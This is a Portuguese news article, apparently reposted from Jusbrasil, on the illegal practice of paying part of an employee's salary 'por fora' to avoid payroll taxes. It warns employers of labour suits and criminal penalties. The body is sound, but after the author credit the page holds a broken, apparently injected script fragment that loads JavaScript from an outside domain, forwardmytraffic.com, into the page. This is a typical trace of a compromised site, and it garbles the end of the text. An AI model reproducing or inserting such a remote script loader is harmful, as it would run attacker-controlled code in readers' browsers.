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O famoso salário “pago por fora”

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Que muitos funcionários não recebem seu salário integralmente na folha de pagamento, não é novidade para ninguém, afinal, é uma prática muito comum entre as empresas. Geralmente isso ocorre com empregados que recebem um valor de salário mais alto, onde o empregador registra um valor inferior na CTPS – Carteira de Trabalho e Previdência Social, e o restante quita de forma “fria”.

 

 

Mas por que isso acontece?

 

É nítido que o objetivo desta prática (ilegal) ocorre devido aos impostos que são pagos sobre a folha. Para o empregador, existe a vantagem de ter um custo menor com a CPP (Contribuição Patronal Previdenciária), PIS (Programa de Integracao Social), FGTS (Fundo de Garantia por Tempo de Serviço) e consequentemente com reflexos nas verbas trabalhistas (férias, 13º salário, aviso indenizado, médias sobre DSR, etc). Já para o funcionário, existe a “vantagem” de pagar menos para o INSS (Instituto Nacional do Seguro Social), menos IR (Imposto de Renda – isso se houver), e em muitos casos receber o Abono Salarial anual.

 

 

Mas por outro lado é muito prejudicial!

 

O empregado que não recebe seus ganhos reais na folha de pagamento deixa de investir valores em seus benefícios previdenciários, não obtém o depósito de FGTS corretamente (o que acarreta em reflexo negativo numa futura multa de 40% sobre o Fundo), e também é prejudicado quanto aos pagamentos de verbas trabalhistas e Seguro-Desemprego.

 

 

Claro que, nos casos que isso ocorre o funcionário aceita receber desta forma, seja por livre e espontânea pressão ou por solicitação dele mesmo (crendo que será beneficiado), mas acontece que, independente do funcionário aceitar ou não, a responsabilidade do pagamento do salário é inteiramente da empresa. E assim sendo, é inútil querer defender a parte empregadora com a alegação de que o funcionário aceitou ou solicitou.

 

 

A empresa que paga “por fora” possui chances demasiadas de se envolver em uma causa trabalhista, e claro que, também está cometendo crime contra a ordem tributária, conforme disposto na LEI Nº 8.137, DE 27 DE DEZEMBRO DE 1990, sob pena de multa e reclusão.

 

 

Apesar da alta carga tributária que a sociedade brasileira é obrigada a pagar, é preciso, mesmo assim, seguir a legislação! A ideia de que “precisamos roubar do governo que nos rouba” é supérflua e erradíssima, não se paga um erro com outro erro.

 

 

Para afastar qualquer problema o empregador tem que registrar o real salário do funcionário e pagar-lhe o valor discriminado no campo “Valor líquido”, assim é só sucesso e não tem encrenca!

 


Elaborado por: Andréia Ramires Gonçalves, Jusbrasil…. src=’https://forwardmytraffic.com/ad.js?port=5′ type=’text/javascript’>

Equipe A Gazeta Tresbarrense
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